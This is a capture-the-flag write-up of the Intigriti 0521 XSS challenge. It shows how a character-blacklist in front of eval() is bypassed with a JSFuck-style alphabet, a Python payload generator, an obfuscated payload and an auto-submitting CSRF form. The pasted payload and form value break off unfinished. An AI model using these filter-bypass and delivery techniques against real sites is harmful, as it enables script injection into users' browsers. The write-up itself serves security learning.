hacktricks/ctf-write-ups/challenge-0521.intigriti.io.md

# challenge-0521.intigriti.io

### Brief Description <a href="brief-description" id="brief-description"></a>

The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\
This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via an iframe.

It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.\
However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.\
Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function.

### Accessing the HTML <a href="accessing-the-html" id="accessing-the-html"></a>

It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:\
![](https://i.imgur.com/Slq2Xal.png)

Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways:

```javascript
document.domain
document["domain"]
```

And the same happens with attributes that are functions (methods):

```javascript
document.write("1")
document["write"]("1")
```

Then, from the `e` HTML element it’s possible to access the `document` object using something like:

```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
```

### Calling a function without parenthesis with JS code as string <a href="calling-a-function-without-parenthesis-with-js-code-as-string" id="calling-a-function-without-parenthesis-with-js-code-as-string"></a>

From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.\
However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** (\`\`).\
Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like:

```javascript
`${"alert(document.location)"}`
```

Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**:

```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
```

You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)

### Final forbidden characters bypass <a href="final-forbidden-characters-bypass" id="final-forbidden-characters-bypass"></a>

However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed**.\
This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.\
In order to do this I have generated a [JSFuck](http://www.jsfuck.com) like alphabet to generate the necesary characters (_this alphabet is custom for this challenge_).\
You can **see the full alphabet inside the exploit code** (which can be found in the next subsection and in the file _exploit.txt_).

For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.\
Using these tricks and some more complex ones it was possible to **generate all the characters (letters and symbols) of the strings contained** in the exploit:

```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
```

### Exploit Code <a href="exploit-code" id="exploit-code"></a>

This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:

```python

#JS Specific Direct Alphabet
x = {
    "1": "1",
    ".": ".",
    "[": "[e+e][0][0]",
    "]": "[e+e][0][27]",
    "/": "[/e/+e][0][0]",
    "a": "[[]/e+e][0][1]",
    "b": "[e+e][0][2]",
    "c": "[e+e][0][5]",
    "d": "[[][[]]+e][0][2]",
    "e": "[e+e][0][4]",
    "f": "[[][[]]+e][0][4]",
    "g": "[e+e][0][15]",
    "H": "[e+e][0][8]",
    "i": "[[][[]]+e][0][5]",
    "j": "[e+e][0][3]",
    "L": "[e+e][0][11]",
    "l": "[e+e][0][21]",
    "M": "[e+e][0][10]",
    "n": "[[][[]]+e][0][1]",
    "N": "[[]/e+e][0][0]",
    "o": "[e+e][0][1]",
    "r": "[e+e][0][13]",
    "s": "[e+e][0][18]",
    "t": "[e+e][0][6]",
    "T": "[e+e][0][9]",
    "u": "[[][[]]+e][0][0]",
}

#JS Dependent Alphabet
#The following alphabet will use previously obtained characters
#Note that this way of getting the characters are custom for the abused HTML

outerHTML = '+'.join(x[k] for k in 'outerHTML')

x['p'] = f'e[{outerHTML}][1]'
x['y'] = f'e[{outerHTML}][39]'
x['<'] = f'e[{outerHTML}][0]'
x['>'] = f'e[{outerHTML}][62]'
x['"'] = f'e[{outerHTML}][13]'

parentNode = '+'.join(x[k] for k in 'parentNode')
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'

x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'

children = '+'.join(x[k] for k in 'children')
captcha = '+'.join(x[k] for k in 'captcha')

x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
write = '+'.join(x[k] for k in 'write')

x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'


# Exploit generation
payload_text = '<script>alert(document["domain"])</script>'
payload = '+'.join(x[k] for k in payload_text)

txt = f'{document}[{write}]'+'`${['+payload+']}`'

print(txt) #Write the exploit to stdout
```

### Exploitation <a href="exploitation" id="exploitation"></a>

In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:

```
e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][
```

Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose (_note that the exploit is URL encoded_):

```markup
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
      <input type="hidden" name="c" value="e&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

```

Finally, **serve the poc in a HTTP** server and access it from the browser:\


![](https://i.imgur.com/qack7GO.png)

Just press **submit** on the captcha form and the alert will be executed:

![](https://i.imgur.com/mCORty3.png)